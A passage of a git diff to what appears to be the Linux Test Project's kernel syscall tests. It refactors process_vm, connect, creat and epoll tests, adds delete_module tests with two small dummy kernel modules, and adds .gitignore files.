-#include "lapi/semun.h"
-
-static inline ssize_t test_process_vm_readv(pid_t pid,
-		const struct iovec *lvec, unsigned long liovcnt,
-		const struct iovec *rvec, unsigned long riovcnt,
-		unsigned long flags)
-{
-#if defined(__NR_process_vm_readv)
-	return syscall(__NR_process_vm_readv, pid, lvec, liovcnt,
-			rvec, riovcnt, flags);
-#else
-	return syscall(-1);
-#endif
-}
-
-static inline ssize_t test_process_vm_writev(pid_t pid,
-		const struct iovec *lvec, unsigned long liovcnt,
-		const struct iovec *rvec, unsigned long riovcnt,
-		unsigned long flags)
-{
-#if defined(__NR_process_vm_writev)
-	return syscall(__NR_process_vm_writev, pid, lvec, liovcnt,
-			rvec, riovcnt, flags);
-#else
-	return syscall(-1);
-#endif
-}
-
-#endif /* _PROCESS_VM_H_ */
diff --git a/testcases/kernel/syscalls/cma/process_vm01.c b/testcases/kernel/syscalls/cma/process_vm01.c
index bc6b04f..f9bd865 100644
--- a/testcases/kernel/syscalls/cma/process_vm01.c
+++ b/testcases/kernel/syscalls/cma/process_vm01.c
@@ -42,7 +42,7 @@
 #include "config.h"
 #include "test.h"
 #include "safe_macros.h"
-#include "process_vm.h"
+#include "lapi/syscalls.h"
 
 struct process_vm_params {
 	int len;
@@ -103,20 +103,10 @@
 			 " at the same time.");
 	else if (rflag) {
 		TCID = TCID_readv;
-#if defined(__NR_process_vm_readv)
 		cma_test_params = cma_test_params_read;
-#else
-		tst_brkm(TCONF, NULL, "process_vm_readv does not"
-			 " exist on your system.");
-#endif
 	} else if (wflag) {
 		TCID = TCID_writev;
-#if defined(__NR_process_vm_writev)
 		cma_test_params = cma_test_params_write;
-#else
-		tst_brkm(TCONF, NULL, "process_vm_writev does not"
-			 " exist on your system.");
-#endif
 	} else
 		tst_brkm(TBROK, NULL, "Parameter missing, required -r or -w.");
 	TEST_PAUSE;
@@ -134,18 +124,20 @@
 
 static void cma_test_params_read(struct process_vm_params *params)
 {
-	TEST(test_process_vm_readv(params->pid,
-				   params->lvec, params->liovcnt,
-				   params->rvec, params->riovcnt,
-				   params->flags));
+	TEST(ltp_syscall(__NR_process_vm_readv,
+			 params->pid,
+			 params->lvec, params->liovcnt,
+			 params->rvec, params->riovcnt,
+			 params->flags));
 }
 
 static void cma_test_params_write(struct process_vm_params *params)
 {
-	TEST(test_process_vm_writev(params->pid,
-				    params->lvec, params->liovcnt,
-				    params->rvec, params->riovcnt,
-				    params->flags));
+	TEST(ltp_syscall(__NR_process_vm_writev,
+			 params->pid,
+			 params->lvec, params->liovcnt,
+			 params->rvec, params->riovcnt,
+			 params->flags));
 }
 
 static int cma_check_ret(long expected_ret, long act_ret)
diff --git a/testcases/kernel/syscalls/cma/process_vm_readv02.c b/testcases/kernel/syscalls/cma/process_vm_readv02.c
index ef9b7e1..e1fc32a 100644
--- a/testcases/kernel/syscalls/cma/process_vm_readv02.c
+++ b/testcases/kernel/syscalls/cma/process_vm_readv02.c
@@ -29,7 +29,7 @@
 
 #include "test.h"
 #include "safe_macros.h"
-#include "process_vm.h"
+#include "lapi/syscalls.h"
 
 char *TCID = "process_vm_readv02";
 int TST_TOTAL = 1;
@@ -134,7 +134,8 @@
 	remote.iov_len = len;
 
 	tst_resm(TINFO, "child 1: reading string from same memory location.");
-	TEST(test_process_vm_readv(pids[0], &local, 1, &remote, 1, 0));
+	TEST(ltp_syscall(__NR_process_vm_readv, pids[0],
+			 &local, 1, &remote, 1, 0));
 	if (TEST_RETURN != len)
 		tst_brkm(TFAIL | TERRNO, tst_exit, "process_vm_readv");
 	if (strncmp(lp, tst_string, len) != 0)
@@ -148,10 +149,9 @@
 {
 	tst_require_root();
 
-#if !defined(__NR_process_vm_readv)
-	tst_brkm(TCONF, NULL, "process_vm_readv does not exist "
-		 "on your system");
-#endif
+	/* Just a sanity check of the existence of syscall */
+	ltp_syscall(__NR_process_vm_readv, getpid(), NULL, 0, NULL, 0, 0);
+
 	tst_tmpdir();
 	TST_CHECKPOINT_INIT(cleanup);
 
diff --git a/testcases/kernel/syscalls/cma/process_vm_readv03.c b/testcases/kernel/syscalls/cma/process_vm_readv03.c
index 8b8dfc3..45f7c92 100644
--- a/testcases/kernel/syscalls/cma/process_vm_readv03.c
+++ b/testcases/kernel/syscalls/cma/process_vm_readv03.c
@@ -32,7 +32,7 @@
 
 #include "test.h"
 #include "safe_macros.h"
-#include "process_vm.h"
+#include "lapi/syscalls.h"
 
 char *TCID = "process_vm_readv03";
 int TST_TOTAL = 1;
@@ -180,7 +180,8 @@
 	remote.iov_base = foo;
 	remote.iov_len = len;
 
-	TEST(test_process_vm_readv(pids[0], &local, 1, &remote, 1, 0));
+	TEST(ltp_syscall(__NR_process_vm_readv, pids[0], &local,
+			 1, &remote, 1, 0));
 	if (TEST_RETURN != len)
 		tst_brkm(TFAIL | TERRNO, tst_exit, "process_vm_readv");
 
@@ -212,7 +213,7 @@
 	tst_resm(TINFO, "child 1: %d local iovecs initialized.",
 		 NUM_LOCAL_VECS);
 
-	TEST(test_process_vm_readv(pids[0], local, NUM_LOCAL_VECS,
+	TEST(ltp_syscall(__NR_process_vm_readv, pids[0], local, NUM_LOCAL_VECS,
 				   remote, nr_iovecs, 0));
 	if (TEST_RETURN != bufsz)
 		tst_brkm(TBROK | TERRNO, tst_exit, "process_vm_readv");
@@ -246,14 +247,13 @@
 {
 	tst_require_root();
 
+	/* Just a sanity check of the existence of syscall */
+	ltp_syscall(__NR_process_vm_readv, getpid(), NULL, 0, NULL, 0, 0);
+
 	nr_iovecs = nflag ? SAFE_STRTOL(NULL, nr_opt, 1, IOV_MAX) : 10;
 	bufsz = sflag ? SAFE_STRTOL(NULL, sz_opt, NUM_LOCAL_VECS, LONG_MAX)
 	    : 100000;
 
-#if !defined(__NR_process_vm_readv)
-	tst_brkm(TCONF, NULL, "process_vm_readv does not exist "
-		 "on your system");
-#endif
 	tst_tmpdir();
 	TST_CHECKPOINT_INIT(cleanup);
 	srand(time(NULL));
diff --git a/testcases/kernel/syscalls/cma/process_vm_writev02.c b/testcases/kernel/syscalls/cma/process_vm_writev02.c
index b707760..b1edba5 100644
--- a/testcases/kernel/syscalls/cma/process_vm_writev02.c
+++ b/testcases/kernel/syscalls/cma/process_vm_writev02.c
@@ -30,7 +30,7 @@
 
 #include "test.h"
 #include "safe_macros.h"
-#include "process_vm.h"
+#include "lapi/syscalls.h"
 
 char *TCID = "process_vm_writev02";
 int TST_TOTAL = 1;
@@ -171,7 +171,8 @@
 	remote.iov_len = bufsz;
 
 	tst_resm(TINFO, "child 2: write to the same memory location.");
-	TEST(test_process_vm_writev(pids[0], &local, 1, &remote, 1, 0));
+	TEST(ltp_syscall(__NR_process_vm_writev, pids[0], &local,
+			 1, &remote, 1, 0));
 	if (TEST_RETURN != bufsz)
 		tst_brkm(TFAIL | TERRNO, tst_exit, "process_vm_readv");
 }
@@ -180,14 +181,13 @@
 {
 	tst_require_root();
 
+	/* Just a sanity check of the existence of syscall */
+	ltp_syscall(__NR_process_vm_writev, getpid(), NULL, 0, NULL, 0, 0);
+
 	bufsz =
 	    sflag ? SAFE_STRTOL(NULL, sz_opt, 1, LONG_MAX - PADDING_SIZE * 2)
 	    : 100000;
 
-#if !defined(__NR_process_vm_readv)
-	tst_brkm(TCONF, NULL, "process_vm_writev does not exist "
-		 "on your system");
-#endif
 	tst_tmpdir();
 	TST_CHECKPOINT_INIT(cleanup);
 
diff --git a/testcases/kernel/syscalls/confstr/.gitignore b/testcases/kernel/syscalls/confstr/.gitignore
new file mode 100644
index 0000000..e0373b2
--- /dev/null
+++ b/testcases/kernel/syscalls/confstr/.gitignore
@@ -0,0 +1 @@
+/confstr01
diff --git a/testcases/kernel/syscalls/connect/.gitignore b/testcases/kernel/syscalls/connect/.gitignore
new file mode 100644
index 0000000..b425169
--- /dev/null
+++ b/testcases/kernel/syscalls/connect/.gitignore
@@ -0,0 +1 @@
+/connect01
diff --git a/testcases/kernel/syscalls/connect/connect01.c b/testcases/kernel/syscalls/connect/connect01.c
index 2be83cf..34e260f 100644
--- a/testcases/kernel/syscalls/connect/connect01.c
+++ b/testcases/kernel/syscalls/connect/connect01.c
@@ -116,6 +116,24 @@
 static char *argv0;
 #endif
 
+/**
+ * bionic's connect() implementation calls netdClientInitConnect() before
+ * sending the request to the kernel.  We need to bypass this, or the test will
+ * segfault during the addr = (struct sockaddr *)-1 testcase. We had cases where
+ * tests started to segfault on glibc upgrade or in special conditions where
+ * libc had to convert structure layouts between 32bit/64bit userspace/kernel =>
+ * safer to call the raw syscall regardless of the libc implementation.
+ */
+#include "lapi/syscalls.h"
+
+static int sys_connect(int sockfd, const struct sockaddr *addr,
+		socklen_t addrlen)
+{
+	return ltp_syscall(__NR_connect, sockfd, addr, addrlen);
+}
+
+#define connect(sockfd, addr, addrlen) sys_connect(sockfd, addr, addrlen)
+
 int main(int argc, char *argv[])
 {
 	int lc;
diff --git a/testcases/kernel/syscalls/copy_file_range/.gitignore b/testcases/kernel/syscalls/copy_file_range/.gitignore
new file mode 100644
index 0000000..6807420
--- /dev/null
+++ b/testcases/kernel/syscalls/copy_file_range/.gitignore
@@ -0,0 +1 @@
+/copy_file_range01
diff --git a/testcases/kernel/syscalls/copy_file_range/copy_file_range01.c b/testcases/kernel/syscalls/copy_file_range/copy_file_range01.c
index 25c701f..2bca8a4 100644
--- a/testcases/kernel/syscalls/copy_file_range/copy_file_range01.c
+++ b/testcases/kernel/syscalls/copy_file_range/copy_file_range01.c
@@ -176,14 +176,14 @@
 	do {
 		TEST(tst_syscall(__NR_copy_file_range, fd_in, off_in, fd_out,
 			off_out, to_copy, 0));
-		if (TEST_RETURN == -1) {
+		if (TST_RET == -1) {
 			tst_res(TFAIL | TTERRNO, "copy_file_range() failed");
 			SAFE_CLOSE(fd_in);
 			SAFE_CLOSE(fd_out);
 			return;
 		}
 
-		to_copy -= TEST_RETURN;
+		to_copy -= TST_RET;
 	} while (to_copy > 0);
 
 	ret = check_file_content(TEST_FILE_1, TEST_FILE_2,
diff --git a/testcases/kernel/syscalls/creat/.gitignore b/testcases/kernel/syscalls/creat/.gitignore
new file mode 100644
index 0000000..a39e635
--- /dev/null
+++ b/testcases/kernel/syscalls/creat/.gitignore
@@ -0,0 +1,8 @@
+/creat01
+/creat03
+/creat04
+/creat05
+/creat06
+/creat07
+/creat07_child
+/creat08
diff --git a/testcases/kernel/syscalls/creat/creat04.c b/testcases/kernel/syscalls/creat/creat04.c
index ebcaa17..623ede0 100644
--- a/testcases/kernel/syscalls/creat/creat04.c
+++ b/testcases/kernel/syscalls/creat/creat04.c
@@ -48,13 +48,13 @@
 
 	TEST(creat(tcases[i].fname, 0444));
 
-	if (TEST_RETURN != -1) {
+	if (TST_RET != -1) {
 		SAFE_UNLINK(tcases[i].fname);
 		tst_res(TFAIL, "call succeeded unexpectedly");
 		return;
 	}
 
-	if (TEST_ERRNO != EACCES) {
+	if (TST_ERR != EACCES) {
 		tst_res(TFAIL | TTERRNO, "Expected EACCES");
 		return;
 	}
diff --git a/testcases/kernel/syscalls/creat/creat05.c b/testcases/kernel/syscalls/creat/creat05.c
index 154f1a2..037a113 100644
--- a/testcases/kernel/syscalls/creat/creat05.c
+++ b/testcases/kernel/syscalls/creat/creat05.c
@@ -39,13 +39,13 @@
 {
 	TEST(creat("filename", 0666));
 
-	if (TEST_RETURN != -1) {
+	if (TST_RET != -1) {
 		tst_res(TFAIL, "call succeeded unexpectedly");
-		SAFE_CLOSE(TEST_RETURN);
+		SAFE_CLOSE(TST_RET);
 		return;
 	}
 
-	if (TEST_ERRNO == EMFILE)
+	if (TST_ERR == EMFILE)
 		tst_res(TPASS, "creat() failed with EMFILE");
 	else
 		tst_res(TFAIL | TTERRNO, "Expected EMFILE");
diff --git a/testcases/kernel/syscalls/creat/creat06.c b/testcases/kernel/syscalls/creat/creat06.c
index 45642f0..146d518 100644
--- a/testcases/kernel/syscalls/creat/creat06.c
+++ b/testcases/kernel/syscalls/creat/creat06.c
@@ -109,12 +109,12 @@
 	if (tcases[i].cleanup != NULL)
 		tcases[i].cleanup();
 
-	if (TEST_RETURN != -1) {
+	if (TST_RET != -1) {
 		tst_res(TFAIL, "call succeeded unexpectedly");
 		return;
 	}
 
-	if (TEST_ERRNO == tcases[i].error) {
+	if (TST_ERR == tcases[i].error) {
 		tst_res(TPASS | TTERRNO, "got expected failure");
 		return;
 	}
diff --git a/testcases/kernel/syscalls/creat/creat07.c b/testcases/kernel/syscalls/creat/creat07.c
index a016604..435e5d5 100644
--- a/testcases/kernel/syscalls/creat/creat07.c
+++ b/testcases/kernel/syscalls/creat/creat07.c
@@ -46,12 +46,12 @@
 
 	TEST(creat(TEST_APP, O_WRONLY));
 
-	if (TEST_RETURN != -1) {
+	if (TST_RET != -1) {
 		tst_res(TFAIL, "creat() succeeded unexpectedly");
 		return;
 	}
 
-	if (TEST_ERRNO == ETXTBSY)
+	if (TST_ERR == ETXTBSY)
 		tst_res(TPASS, "creat() received EXTBSY");
 	else
 		tst_res(TFAIL | TTERRNO, "creat() failed unexpectedly");
diff --git a/testcases/kernel/syscalls/creat/creat08.c b/testcases/kernel/syscalls/creat/creat08.c
index c217c54..d22558a 100644
--- a/testcases/kernel/syscalls/creat/creat08.c
+++ b/testcases/kernel/syscalls/creat/creat08.c
@@ -70,6 +70,7 @@
 #define ROOT_SETGID	"root_setgid"
 #define	MSGSIZE		150
 
+static void tst_cleanup(void);
 static void cleanup(void);
 static void setup(void);
 
@@ -422,8 +423,9 @@
 		} else {
 			tst_resm(TFAIL, "Test failed in block3");
 		}
-		cleanup();
+		tst_cleanup();
 	}
+	cleanup();
 	tst_exit();
 }
 
@@ -433,7 +435,7 @@
 	tst_tmpdir();
 }
 
-static void cleanup(void)
+static void tst_cleanup(void)
 {
 	if (unlink(setgid_A) == -1) {
 		tst_resm(TBROK, "%s failed", setgid_A);
@@ -446,6 +448,9 @@
 	SAFE_UNLINK(NULL, root_setgid_B);
 	SAFE_UNLINK(NULL, nosetgid_B);
 	SAFE_RMDIR(NULL, DIR_B);
+}
 
+static void cleanup(void)
+{
 	tst_rmdir();
 }
diff --git a/testcases/kernel/module/delete_module/.gitignore b/testcases/kernel/syscalls/delete_module/.gitignore
similarity index 100%
rename from testcases/kernel/module/delete_module/.gitignore
rename to testcases/kernel/syscalls/delete_module/.gitignore
diff --git a/testcases/kernel/syscalls/delete_module/Makefile b/testcases/kernel/syscalls/delete_module/Makefile
new file mode 100644
index 0000000..b98dcd3
--- /dev/null
+++ b/testcases/kernel/syscalls/delete_module/Makefile
@@ -0,0 +1,25 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
+# Copyright (c) 2018 Xiao Yang <yangx.jy@cn.fujitsu.com>
+#
+
+ifneq ($(KERNELRELEASE),)
+
+obj-m := dummy_del_mod.o dummy_del_mod_dep.o
+
+else
+
+top_srcdir		?= ../../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+
+REQ_VERSION_MAJOR	:= 2
+REQ_VERSION_PATCH	:= 6
+
+MAKE_TARGETS		:= delete_module01 delete_module02 delete_module03 \
+			   dummy_del_mod.ko dummy_del_mod_dep.ko
+
+include $(top_srcdir)/include/mk/module.mk
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
+
+endif
diff --git a/testcases/kernel/syscalls/delete_module/delete_module01.c b/testcases/kernel/syscalls/delete_module/delete_module01.c
new file mode 100644
index 0000000..e5cb53c
--- /dev/null
+++ b/testcases/kernel/syscalls/delete_module/delete_module01.c
@@ -0,0 +1,54 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
+ * Copyright (c) 2018 Xiao Yang <yangx.jy@cn.fujitsu.com>
+ */
+
+/*
+ * AUTHOR: Madhu T L <madhu.tarikere@wipro.com>
+ *
+ * DESCRIPTION:
+ * Basic tests for delete_module(2)
+ * 1) insmod dummy_del_mod.ko
+ * 2) call delete_module(2) to remove dummy_del_mod.ko
+ */
+
+#include <errno.h>
+#include "old_module.h"
+#include "lapi/syscalls.h"
+#include "tst_test.h"
+
+#define MODULE_NAME	"dummy_del_mod"
+#define MODULE_NAME_KO	"dummy_del_mod.ko"
+
+static int module_loaded;
+
+static void do_delete_module(void)
+{
+	if (module_loaded == 0) {
+		tst_module_load(NULL, MODULE_NAME_KO, NULL);
+		module_loaded = 1;
+	}
+
+	TEST(tst_syscall(__NR_delete_module, MODULE_NAME, 0));
+	if (TST_RET == -1) {
+		tst_res(TFAIL | TTERRNO, "delete_module() failed to "
+			"remove module entry for %s ", MODULE_NAME);
+		return;
+	}
+
+	tst_res(TPASS, "delete_module() successful");
+	module_loaded = 0;
+}
+
+static void cleanup(void)
+{
+	if (module_loaded == 1)
+		tst_module_unload(NULL, MODULE_NAME_KO);
+}
+
+static struct tst_test test = {
+	.needs_root = 1,
+	.cleanup = cleanup,
+	.test_all = do_delete_module,
+};
diff --git a/testcases/kernel/syscalls/delete_module/delete_module02.c b/testcases/kernel/syscalls/delete_module/delete_module02.c
new file mode 100644
index 0000000..f52239f
--- /dev/null
+++ b/testcases/kernel/syscalls/delete_module/delete_module02.c
@@ -0,0 +1,96 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
+ * Copyright (c) 2018 Xiao Yang <yangx.jy@cn.fujitsu.com>
+ */
+
+/*
+ * AUTHOR: Madhu T L <madhu.tarikere@wipro.com>
+ *
+ * DESCRIPTION
+ * Verify that,
+ * 1. delete_module(2) returns -1 and sets errno to ENOENT for nonexistent
+ *    module entry.
+ * 2. delete_module(2) returns -1 and sets errno to EFAULT, if
+ *    module name parameter is outside program's accessible address space.
+ * 3. delete_module(2) returns -1 and sets errno to EPERM, if effective
+ *    user id of the caller is not superuser.
+ */
+
+#include <errno.h>
+#include <pwd.h>
+#include <stdio.h>
+#include <string.h>
+
+#include "tst_test.h"
+#include "lapi/syscalls.h"
+
+#define BASEMODNAME	"dummy"
+#define LONGMODNAMECHAR	'm'
+
+/*
+ * From kernel internal headers: include/linux/module.h
+ * include/linux/moduleparam.h
+ */
+#define MODULE_NAME_LEN	(64 - sizeof(unsigned long))
+
+static struct passwd *ltpuser;
+static char longmodname[MODULE_NAME_LEN];
+static char modname[20];
+
+static struct test_case_t {
+	char *modname;
+	int experrno;
+	char *desc;
+	/* 1: nobody_user 0: root_user */
+	int nobody_user;
+} tdat[] = {
+	{ modname, ENOENT, "nonexistent module", 0},
+	{ "", ENOENT, "null terminated module name", 0},
+	{ NULL, EFAULT, "module name outside program's accessible address space", 0},
+	{ longmodname, ENOENT, "long module name", 0},
+	{ modname, EPERM, "non-superuser", 1},
+};
+
+static void do_delete_module(unsigned int n)
+{
+	struct test_case_t *tc = &tdat[n];
+
+	if (!tc->modname)
+		tc->modname = tst_get_bad_addr(NULL);
+
+	if (tc->nobody_user)
+		SAFE_SETEUID(ltpuser->pw_uid);
+
+	tst_res(TINFO, "test %s", tc->desc);
+	TEST(tst_syscall(__NR_delete_module, tc->modname, 0));
+	if (TST_RET != -1) {
+		tst_res(TFAIL, "delete_module() succeeded unexpectedly");
+	} else if (TST_ERR == tc->experrno) {
+		tst_res(TPASS | TTERRNO, "delete_module() failed as expected");
+	} else {
+		tst_res(TFAIL | TTERRNO, "delete_module() failed unexpectedly;"
+			" expected: %s", tst_strerrno(tc->experrno));
+	}
+
+	if (tc->nobody_user)
+		SAFE_SETEUID(0);
+}
+
+static void setup(void)
+{
+	ltpuser = SAFE_GETPWNAM("nobody");
+
+	/* Initialize longmodname to LONGMODNAMECHAR character */
+	memset(longmodname, LONGMODNAMECHAR, MODULE_NAME_LEN - 1);
+
+	/* Get unique module name for each child process */
+	sprintf(modname, "%s_%d", BASEMODNAME, getpid());
+}
+
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tdat),
+	.needs_root = 1,
+	.setup = setup,
+	.test = do_delete_module,
+};
diff --git a/testcases/kernel/syscalls/delete_module/delete_module03.c b/testcases/kernel/syscalls/delete_module/delete_module03.c
new file mode 100644
index 0000000..8bd51be
--- /dev/null
+++ b/testcases/kernel/syscalls/delete_module/delete_module03.c
@@ -0,0 +1,78 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
+ * Copyright (c) 2018 Xiao Yang <yangx.jy@cn.fujitsu.com>
+ */
+
+/*
+ * AUTHOR: Madhu T L <madhu.tarikere@wipro.com>
+ *
+ * DESCRIPTION
+ * Verify that, delete_module(2) returns -1 and sets errno to EWOULDBLOCK,
+ * if tried to remove a module while other modules depend on this module.
+ */
+
+#include <errno.h>
+#include "tst_test.h"
+#include "old_module.h"
+#include "lapi/syscalls.h"
+
+#define DUMMY_MOD		"dummy_del_mod"
+#define DUMMY_MOD_KO		"dummy_del_mod.ko"
+#define DUMMY_MOD_DEP_KO	"dummy_del_mod_dep.ko"
+
+static int dummy_mod_loaded;
+static int dummy_mod_dep_loaded;
+
+static void do_delete_module(void)
+{
+	TEST(tst_syscall(__NR_delete_module, DUMMY_MOD, 0));
+	if (TST_RET < 0) {
+		if (TST_ERR == EWOULDBLOCK) {
+			tst_res(TPASS | TTERRNO,
+				"delete_module() failed as expected");
+		} else {
+			tst_res(TFAIL | TTERRNO, "delete_module() failed "
+			"unexpectedly; expected: %s",
+			tst_strerrno(EWOULDBLOCK));
+		}
+	} else {
+		tst_res(TFAIL, "delete_module() succeeded unexpectedly");
+		dummy_mod_loaded = 0;
+		/*
+		 * insmod DUMMY_MOD_KO again in case running
+		 * with -i option
+		 */
+		tst_module_load(NULL, DUMMY_MOD_KO, NULL);
+		dummy_mod_loaded = 1;
+	}
+}
+
+static void setup(void)
+{
+	/* Load first kernel module */
+	tst_module_load(NULL, DUMMY_MOD_KO, NULL);
+	dummy_mod_loaded = 1;
+
+	/* Load dependant kernel module */
+	tst_module_load(NULL, DUMMY_MOD_DEP_KO, NULL);
+	dummy_mod_dep_loaded = 1;
+}
+
+static void cleanup(void)
+{
+	/* Unload dependent kernel module */
+	if (dummy_mod_dep_loaded == 1)
+		tst_module_unload(NULL, DUMMY_MOD_DEP_KO);
+
+	/* Unload first kernel module */
+	if (dummy_mod_loaded == 1)
+		tst_module_unload(NULL, DUMMY_MOD_KO);
+}
+
+static struct tst_test test = {
+	.needs_root = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = do_delete_module,
+};
diff --git a/testcases/kernel/syscalls/delete_module/dummy_del_mod.c b/testcases/kernel/syscalls/delete_module/dummy_del_mod.c
new file mode 100644
index 0000000..04a0b32
--- /dev/null
+++ b/testcases/kernel/syscalls/delete_module/dummy_del_mod.c
@@ -0,0 +1,41 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
+ * Copyright (c) 2018 Xiao Yang <yangx.jy@cn.fujitsu.com>
+ */
+/*
+ * Description:
+ * This is a kernel loadable module programme used by delete_module*
+ * testcases which insert this module as part setup.
+ */
+
+#include <linux/module.h>
+#include <linux/init.h>
+#include <linux/proc_fs.h>
+#include <linux/kernel.h>
+
+static int dummy_func_test(void);
+
+/* Dummy function called by dependent module */
+int dummy_func_test(void)
+{
+	return 0;
+}
+EXPORT_SYMBOL(dummy_func_test);
+
+static int __init dummy_init(void)
+{
+	struct proc_dir_entry *proc_dummy;
+
+	proc_dummy = proc_mkdir("dummy", 0);
+	return 0;
+}
+
+static void __exit dummy_exit(void)
+{
+	remove_proc_entry("dummy", 0);
+}
+
+module_init(dummy_init);
+module_exit(dummy_exit);
+MODULE_LICENSE("GPL");
diff --git a/testcases/kernel/syscalls/delete_module/dummy_del_mod_dep.c b/testcases/kernel/syscalls/delete_module/dummy_del_mod_dep.c
new file mode 100644
index 0000000..85b3279
--- /dev/null
+++ b/testcases/kernel/syscalls/delete_module/dummy_del_mod_dep.c
@@ -0,0 +1,37 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
+ * Copyright (c) 2018 Xiao Yang <yangx.jy@cn.fujitsu.com>
+ */
+/*
+ * Description:
+ * This is a kernel loadable module programme used by delete_module03
+ * testcase which inserts this module as part of setup. This module
+ * has dependency on dummy_del_mod module (calls function of dummy_del_mod
+ * during initialization).
+ */
+
+#include <linux/module.h>
+#include <linux/init.h>
+#include <linux/proc_fs.h>
+#include <linux/kernel.h>
+
+extern int dummy_func_test(void);
+
+static int __init dummy_init(void)
+{
+	struct proc_dir_entry *proc_dummy;
+
+	proc_dummy = proc_mkdir("dummy_dep", 0);
+	dummy_func_test();
+	return 0;
+}
+
+static void __exit dummy_exit(void)
+{
+	remove_proc_entry("dummy_dep", 0);
+}
+
+module_init(dummy_init);
+module_exit(dummy_exit);
+MODULE_LICENSE("GPL");
diff --git a/testcases/kernel/syscalls/dup/.gitignore b/testcases/kernel/syscalls/dup/.gitignore
new file mode 100644
index 0000000..6fabf50
--- /dev/null
+++ b/testcases/kernel/syscalls/dup/.gitignore
@@ -0,0 +1,7 @@
+/dup01
+/dup02
+/dup03
+/dup04
+/dup05
+/dup06
+/dup07
diff --git a/testcases/kernel/syscalls/dup2/.gitignore b/testcases/kernel/syscalls/dup2/.gitignore
new file mode 100644
index 0000000..6c4685b
--- /dev/null
+++ b/testcases/kernel/syscalls/dup2/.gitignore
@@ -0,0 +1,5 @@
+/dup201
+/dup202
+/dup203
+/dup204
+/dup205
diff --git a/testcases/kernel/syscalls/dup3/.gitignore b/testcases/kernel/syscalls/dup3/.gitignore
new file mode 100644
index 0000000..8d7f7bd
--- /dev/null
+++ b/testcases/kernel/syscalls/dup3/.gitignore
@@ -0,0 +1,2 @@
+/dup3_01
+/dup3_02
diff --git a/testcases/kernel/syscalls/epoll/.gitignore b/testcases/kernel/syscalls/epoll/.gitignore
new file mode 100644
index 0000000..dfb4445
--- /dev/null
+++ b/testcases/kernel/syscalls/epoll/.gitignore
@@ -0,0 +1 @@
+/epoll-ltp
diff --git a/testcases/kernel/syscalls/epoll/epoll-ltp.c b/testcases/kernel/syscalls/epoll/epoll-ltp.c
index cb82fd8..12504ab 100644
--- a/testcases/kernel/syscalls/epoll/epoll-ltp.c
+++ b/testcases/kernel/syscalls/epoll/epoll-ltp.c
@@ -142,7 +142,7 @@
 	pid_t kid_pid;			\
 	int kid_status;			\
 					\
-	tst_flush();			\
+	tst_old_flush();			\
 	kid_pid = FORK_OR_VFORK();	\
 	if (kid_pid == 0) {
 
@@ -176,7 +176,7 @@
 	pid_t kid_pid;								\
 	int kid_status;								\
 										\
-	tst_flush();								\
+	tst_old_flush();								\
 	kid_pid = FORK_OR_VFORK();						\
 	if (kid_pid == 0) { /* Run the function */				\
 		return fn(epoll_fd);						\
diff --git a/testcases/kernel/syscalls/epoll2/include/epoll.h b/testcases/kernel/syscalls/epoll2/include/epoll.h
index be599c7..8cc5e7e 100644
--- a/testcases/kernel/syscalls/epoll2/include/epoll.h
+++ b/testcases/kernel/syscalls/epoll2/include/epoll.h
@@ -85,7 +85,9 @@
 } EPOLL_PACKED;
 
 
-__BEGIN_DECLS
+#ifdef __cplusplus
+extern "C" {
+#endif
 
 /* Creates an epoll instance.  Returns an fd for the new instance.
    The "size" parameter is a hint specifying the number of file
@@ -114,6 +116,8 @@
 extern int epoll_wait (int __epfd, struct epoll_event *__events,
 		       int __maxevents, int __timeout) __THROW;
 
-__END_DECLS
+#ifdef __cplusplus
+}
+#endif
 
 #endif /* sys/epoll.h */
diff --git a/testcases/kernel/syscalls/epoll_create1/.gitignore b/testcases/kernel/syscalls/epoll_create1/.gitignore
new file mode 100644
index 0000000..7de2e42
--- /dev/null
+++ b/testcases/kernel/syscalls/epoll_create1/.gitignore
@@ -0,0 +1 @@
+/epoll_create1_01
diff --git a/testcases/kernel/syscalls/epoll_ctl/.gitignore b/testcases/kernel/syscalls/epoll_ctl/.gitignore
new file mode 100644
index 0000000..634470a
--- /dev/null
+++ b/testcases/kernel/syscalls/epoll_ctl/.gitignore
@@ -0,0 +1,2 @@
+/epoll_ctl01
+/epoll_ctl02
diff --git a/testcases/kernel/syscalls/epoll_ctl/epoll_ctl01.c b/testcases/kernel/syscalls/epoll_ctl/epoll_ctl01.c
index f3599de..e837913 100644
--- a/testcases/kernel/syscalls/epoll_ctl/epoll_ctl01.c
+++ b/testcases/kernel/syscalls/epoll_ctl/epoll_ctl01.c
@@ -135,7 +135,7 @@
 static void opera_epoll_ctl(int opt, int fd, struct epoll_event *epvs)
 {
 	TEST(epoll_ctl(epfd, opt, fd, epvs));
-	if (TEST_RETURN == -1)
+	if (TST_RET == -1)
 		tst_brk(TBROK | TTERRNO, "epoll_ctl() fails with op %i", opt);
 }
 
diff --git a/testcases/kernel/syscalls/epoll_ctl/epoll_ctl02.c b/testcases/kernel/syscalls/epoll_ctl/epoll_ctl02.c
index fcbdcac..ce9b55e 100644
--- a/testcases/kernel/syscalls/epoll_ctl/epoll_ctl02.c
+++ b/testcases/kernel/syscalls/epoll_ctl/epoll_ctl02.c
@@ -81,7 +81,7 @@
 	events[1].data.fd = fd[1];
 
 	TEST(epoll_ctl(epfd, EPOLL_CTL_ADD, fd[0], &events[0]));
-	if (TEST_RETURN == -1)
+	if (TST_RET == -1)
 		tst_brk(TFAIL | TTERRNO, "epoll_ctl() fails to init");
 }
 
@@ -102,12 +102,12 @@
 	struct testcase *tc = &tcases[n];
 
 	TEST(epoll_ctl(*tc->epfds, tc->opt, *tc->fds,  tc->ts_event));
